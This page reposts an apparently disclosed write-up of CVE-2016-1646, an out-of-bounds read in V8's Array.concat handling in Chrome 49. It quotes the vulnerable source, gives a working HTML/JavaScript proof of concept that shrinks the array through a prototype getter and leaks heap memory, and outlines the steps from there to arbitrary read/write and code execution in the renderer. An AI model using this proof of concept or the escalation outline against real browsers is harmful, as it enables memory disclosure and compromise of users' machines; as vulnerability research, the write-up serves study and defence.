分享

cve2016-1646漏洞利用

 霞客书斋 2017-08-23
一、漏洞

p.s. The line numbers I mentioned below are referred to this version of v8 (https://chromium./v8/v8.git/+/163a909154febf5498ee60efe0f4aab09be21515/)

The vulnerability lies in function IterateElements (src/builtin.cc:997). The function is to iteratively visit elements of an array.

Let us take the visiting on an array containing fast/fast smi elements as an example:

From line 1025 in src/builtin.cc 
(function IterateElements):
  switch (array->GetElementsKind()) {
    case FAST_SMI_ELEMENTS:
    case FAST_ELEMENTS:
    case FAST_HOLEY_SMI_ELEMENTS:
    case FAST_HOLEY_ELEMENTS: {
      // Run through the elements FixedArray and use HasElement and GetElement
      // to check the prototype for missing elements.
      Handle<FixedArray> elements(FixedArray::cast(array->elements()));
      int fast_length = static_cast<int>(length);  <-- fast_length keeps its value after entering the iteration below
      DCHECK(fast_length <= elements->length());
      for (int j = 0; j < fast_length; j++) {
        HandleScope loop_scope(isolate);
        Handle<Object> element_value(elements->get(j), isolate); <-- get the element with index j (leading to oob access)
        if (!element_value->IsTheHole()) {
          visitor->visit(j, element_value);
        } else {  <-- if it is a hole, it may go to its prototype for the value with index j
          Maybe<bool> maybe = JSReceiver::HasElement(array, j);
          if (!maybe.IsJust()) return false;
          if (maybe.FromJust()) {
            // Call GetElement on array, not its prototype, or getters won't
            // have the correct receiver.
            ASSIGN_RETURN_ON_EXCEPTION_VALUE(
                isolate, element_value, Object::GetElement(isolate, array, j),
                false);   <-- here we redefine the function to get the value in array's __proto__ with index j
                          <-- inside our redefinition function we make the length of the array shorter (< fast_length)
            visitor->visit(j, element_value);
          }
        }
      }
      break;
    }

We can see that the for loop iterates for fast_length times which is determined before entering the loop. However, if we keep a hole inside the array at index j and define the function to get the value in the array's __proto__ with index j, we have a chance to shorten the array in the middle of the loop (and force v8 to re-organize the v8 heap). After that, the loop keeps going on and elements->get(j) may lead to an OOB access. Note that in Chrome release version, elements->get(j) has no bound checking as follows.

src/objects-inl.h:2362
Object* FixedArray::get(int index) const {
  SLOW_DCHECK(index >= 0 && index < this->length()); <-- release version does nothing here ;)
  return READ_FIELD(this, kHeaderSize + index * kPointerSize);
}

Similarly, the same issue also lies in another switch case, visiting on an array containing fast double elements.

二、POC

The function IterateElements is used in Array.concat() which can be called in javascript to trigger the vulnerability. A simple poc demonstrates an oob access as follows:

<html>
<script language="javascript">

//内存清理
function gc() {
  tmp = [];
  for (var i = 0; i < 0x100000; i++)
    tmp.push(new Uint8Array(10));
  tmp = null;
}

b = new Array(10);
b[0] = 0.1; <-- Note that b[1] is a hole!
b[2] = 2.1;
b[3] = 3.1;
b[4] = 4.1;
b[5] = 5.1;
b[6] = 6.1;
b[7] = 7.1;
b[8] = 8.1;
b[9] = 9.1;
b[10] = 10.1;

Object.defineProperty(b.__proto__, 1, { <-- define b.__proto__[1] to gain the control in the middle of the loop
	get: function () {
		b.length = 1; <-- shorten the array
		gc(); <-- shrink the memory
		return 1;
	},
	set: function(new_value){
        /* some business logic goes here */
        value = new_value
    }
});

c = b.concat();
for (var i = 0; i < c.length; i++)
{
    document.write(c[i]);
    document.write("<br>");
}
</script>
</html>

my result (it differs):
0.1
1
3.60739284464e-313
2.121995791e-314
0
8.487983164e-314
2.121995791e-314
2.121995791e-314
2.121995791e-314
1.9338903543223e-311
2.610054822887e-312

We get the leaked information on the v8 heap which does not originally belong to that fast double elem array. ;)

三、小结

We can rely on this single vulnerability to achieve arbitrary code execution in the renderer process (even on x64). The main idea is that 1) Trigger the vulnerability on a fast double elem array, and craft memory layout to make heap addresses lie just after the victim array elements. These heap addresses will be oob accessed later as doubles and thus we got an info leak. 2) Trigger the vulnerability on a fast elem array, and craft memory layout to make controlled addresses lie just after the victim array elements. These crafted addresses will be oob accessed later and considered as v8 object addresses. We can control the data content pointed by these crafted addresses and thus own some ArrayBuffer objects (my choice) fully under our control. After that, arbitrary read/write is easily achieved and the code execution is then straightforward.

Refer to the exploit for details. (When an alert pops up, attach the windbg onto the renderer process and continue the execution, the process will trap into a break instruction int3 set by me).

Environment:
Chrome Stable Version 49.0.2623.87 (64-bit)
Windows 10 Version 1511 (10586.164)

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多